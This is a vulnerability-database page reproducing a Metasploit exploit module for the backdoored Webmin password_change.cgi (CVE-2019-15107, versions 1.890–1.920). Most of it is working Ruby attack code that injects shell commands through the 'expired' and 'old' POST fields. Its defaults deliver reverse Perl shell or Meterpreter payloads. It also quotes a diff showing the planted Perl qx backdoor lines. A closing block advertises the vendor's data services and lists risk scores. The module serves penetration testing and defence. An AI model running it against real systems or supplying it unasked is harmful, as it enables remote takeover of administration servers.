Lucene search
+L

Webmin password_change.cgi Backdoor

🗓️ 10 Aug 2019 00:00:00Reported by AkkuS, wvu <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 600 Views

Webmin backdoor in versions 1.890-1.92

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Module::Deprecated
  prepend Msf::Exploit::Remote::AutoCheck

  moved_from 'exploit/unix/webapp/webmin_backdoor'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Webmin password_change.cgi Backdoor',
        'Description' => %q{
          This module exploits a backdoor in Webmin versions 1.890 through 1.920.
          Only the SourceForge downloads were backdoored, but they are listed as
          official downloads on the project's site.

          Unknown attacker(s) inserted Perl qx statements into the build server's
          source code on two separate occasions: once in April 2018, introducing
          the backdoor in the 1.890 release, and in July 2018, reintroducing the
          backdoor in releases 1.900 through 1.920.

          Only version 1.890 is exploitable in the default install. Later affected
          versions require the expired password changing feature to be enabled.
        },
        'Author' => [
          'AkkuS', # (Özkan Mustafa Akkuş) Discovery and independent module
          'wvu'    # This module and updated information about the backdoor
        ],
        'References' => [
          ['CVE', '2019-15107'], # y tho
          ['URL', 'http://www.webmin.com/exploit.html'],
          ['URL', 'https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html'],
          ['URL', 'https://blog.firosolutions.com/exploits/webmin/'],
          ['URL', 'https://github.com/webmin/webmin/issues/947']
        ],
        'DisclosureDate' => '2019-08-10',
        'License' => MSF_LICENSE,
        'Privileged' => true,
        'Targets' => [
          [
            'Automatic (Unix In-Memory)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Version' => [
                Rex::Version.new('1.890'), Rex::Version.new('1.920')
              ],
              'Type' => :unix_memory,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }
            }
          ],
          [
            'Automatic (Linux Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Version' => [
                Rex::Version.new('1.890'), Rex::Version.new('1.920')
              ],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(10000),
      OptString.new('TARGETURI', [true, 'Base path to Webmin', '/'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )

    unless res
      vprint_error('Server did not respond')
      return CheckCode::Unknown('Could not determine the target status')
    end

    if res.body.include?('This web server is running in SSL mode.')
      print_error('Please enable the SSL option to proceed')
      return CheckCode::Unknown('Could not determine the target status')
    end

    version =
      res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first

    unless version
      vprint_error('Webmin version not detected')
      return CheckCode::Unknown('Could not determine the target status')
    end

    version = Rex::Version.new(version)

    vprint_status("Webmin #{version} detected")

    unless version.between?(*target['Version'])
      vprint_error("Webmin #{version} is not a supported target")
      return CheckCode::Safe("Version #{version} is not vulnerable")
    end

    vprint_good("Webmin #{version} is a supported target")
    checkcode = CheckCode::Appears("Version #{version} appears to be vulnerable")

    res = execute_command("echo #{token}")

    unless res
      vprint_error('Webmin did not respond to check command')
      return checkcode
    end

    if res.body.include?('Password changing is not enabled!')
      vprint_error('Expired password changing disabled')
      return CheckCode::Safe("Version #{version} is not vulnerable")
    end

    if res.body.include?(token)
      vprint_good('Webmin executed a benign check command')
      checkcode = CheckCode::Vulnerable("Exploitable: version #{version} is vulnerable")
    else
      vprint_error('Webmin did not execute our check command')
      return CheckCode::Safe("Version #{version} is not vulnerable")
    end

    checkcode
  end

  def exploit
    # These CheckCodes are allowed to pass automatically
    [
      CheckCode::Appears,
      CheckCode::Vulnerable
    ]

    print_status("Configuring #{target.name} target")

    case target['Type']
    when :unix_memory
      print_status("Sending #{datastore['PAYLOAD']} command payload")
      vprint_status("Generated command payload: #{payload.encoded}")

      res = execute_command(payload.encoded)

      if res && datastore['PAYLOAD'] == 'cmd/unix/generic'
        print_warning('Dumping command output in full response body')

        if res.body.empty?
          print_error('Empty response body, no command output')
          return
        end

        print_line(res.body)
      end
    when :linux_dropper
      print_status("Sending #{datastore['PAYLOAD']} command stager")
      execute_cmdstager
    end
  end

=begin
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi
====2
1:1c
3:1c
  #!/usr/bin/perl
2:1c
  #!/usr/local/bin/perl
====1
1:12c
  $in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
2:12c
3:12c
  $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
====3
1:40c
2:40c
    $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
3:40c
    $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
====3
1:200c
2:200c
  # Show ok page
3:200c

wvu@kharak:~/Downloads$
=end
  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
      'headers' => { 'Referer' => full_uri },
      'vars_post' => {
        # 1.890
        'expired' => cmd,
        # 1.900-1.920
        'new1' => token,
        'new2' => token,
        'old' => cmd
      }
    }, 3.5)
  end

  def token
    @token ||= Rex::Text.rand_text_alphanumeric(8..42)
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2019 00:00Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
CVSS 210
EPSS0.99766
SSVC
600